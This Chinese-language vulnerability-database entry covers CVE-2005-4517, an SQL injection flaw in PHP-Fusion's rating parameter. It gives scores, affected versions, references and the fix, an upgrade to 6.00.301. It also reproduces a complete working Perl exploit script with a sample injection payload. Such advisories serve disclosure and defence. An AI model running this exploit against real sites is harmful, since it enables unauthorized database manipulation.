CVE-2005-4517
CVSS7.5
发布时间 :2005-12-27 20:03:00
修订时间 :2011-03-07 21:28:25
NMCOE    

[原文]SQL injection vulnerability in PHP-Fusion 6.00.200 through 6.00.300 allows remote attackers to execute arbitrary SQL commands via the ratings parameter in multiple scripts, such as ratings_include.php.


[CNNVD]PHP-Fusion SQL注入漏洞(CNNVD-200512-566)

        PHP-Fusion 6.00.200至6.00.300版本存在SQL注入漏洞,远程攻击者可以通过多个脚本中的评级参数,如ratings_include.php,执行任意SQL命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:php_fusion:php_fusion:6.00.207
cpe:/a:php_fusion:php_fusion:6.00.300
cpe:/a:php_fusion:php_fusion:6.00.206
cpe:/a:php_fusion:php_fusion:6.00.200

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4517
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-4517
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200512-566
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2005/3063
(UNKNOWN)  VUPEN  ADV-2005-3063
http://www.securityfocus.com/archive/1/archive/1/420109/100/0/threaded
(UNKNOWN)  BUGTRAQ  20051222 XSS&Sql injection attack in PHP-Fusion 6.00.3 Released
http://secunia.com/advisories/18190/
(VENDOR_ADVISORY)  SECUNIA  18190
http://www.osvdb.org/22049
(UNKNOWN)  OSVDB  22049
http://securityreason.com/securityalert/272
(UNKNOWN)  SREASON  272

- 漏洞信息

PHP-Fusion SQL注入漏洞
高危 SQL注入
2005-12-27 00:00:00 2005-12-28 00:00:00
远程  
        PHP-Fusion 6.00.200至6.00.300版本存在SQL注入漏洞,远程攻击者可以通过多个脚本中的评级参数,如ratings_include.php,执行任意SQL命令。

- 公告与补丁

        

- 漏洞信息 (1385)

PHP-Fusion 6.00.3 (rating) Parameter Remote SQL Injection Exploit (EDBID:1385)
php webapps
2005-12-23 Verified
0 krasza
N/A [点击下载]
#!/usr/bin/perl
#Exploit for PHP-Fusion 6.00.3 Released
#Coded by:krasza[krasza@gmail.com]
#Greetz: http://www.curityreason.com
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
if(!$ARGV[3]){
print<<EOF;
Exploit for PHP-Fusion 6.00.3 Released
Coded by krasza
Contact me:krasza\@gmail.com
Greets:
-http://www.ecurityreason.com
-http://www.revival.pl
-mulander

Usage:
perl phpfusion.pl url login pass sql
url-url hack site with [php fusion's directory]
login-your login
pass-your password
sql-[sql code]
Example:
\t perl phpfusion.pl http://www.something.com/php-fusion admin password 3','31337','HACKED')/*
EOF
exit;
}
my $url=shift;
my $login=shift;
my $haslo=shift;
my $sql=shift;
$url=$url."/news.php?readmore=1";
my $ua = new LWP::UserAgent;
$ua->agent("Exploit for PHP-Fusion" . $ua->agent);
$ua->cookie_jar( HTTP::Cookies->new(
'file' => 'ciasteczka.txt',
'autosave' => 1,));
print "[+]Connecting to $url...\n";

my $zadanie = new HTTP::Request POST => $url;
$zadanie->content_type('application/x-www-form-urlencoded');
$zadanie->content('user_name=' . $login . '&user_pass=' . $haslo . '&login=Loguj'
);
my $wynik = $ua->request($zadanie);
if ($wynik->is_success){
print "[+]Connected to $url\n";
#LOGIN JEST PRAWIDLOWE
}else{
print "[-]Connected failed to $url\n";
print "[-]Error:".$wynik->message."\n";
exit;
}
print "[+] Logging In $url...\n";
$zadanie = new HTTP::Request POST => $url;
$zadanie->content_type('application/x-www-form-urlencoded');
$zadanie->content('rating='.$sql.'&post_rating=Dodaj+ocen%EA');
my $wynik2 = $ua->request($zadanie);
if ($wynik2->is_success){
print "[+] Sql query isn't done!\n";
}else{
print "[-]Sql query is done\n";
}

# milw0rm.com [2005-12-23]
		

- 漏洞信息

22049
PHP-Fusion ratings_include.php rating Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public, Exploit Unknown

- 漏洞描述

PHP-Fusion contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the ratings_include.php script not properly sanitizing user-supplied input to the 'rating' variable. This may allow an attacker to inject or manipulate SQL queries in the back-end database.

- 时间线

2005-12-22 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 6.00.301 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站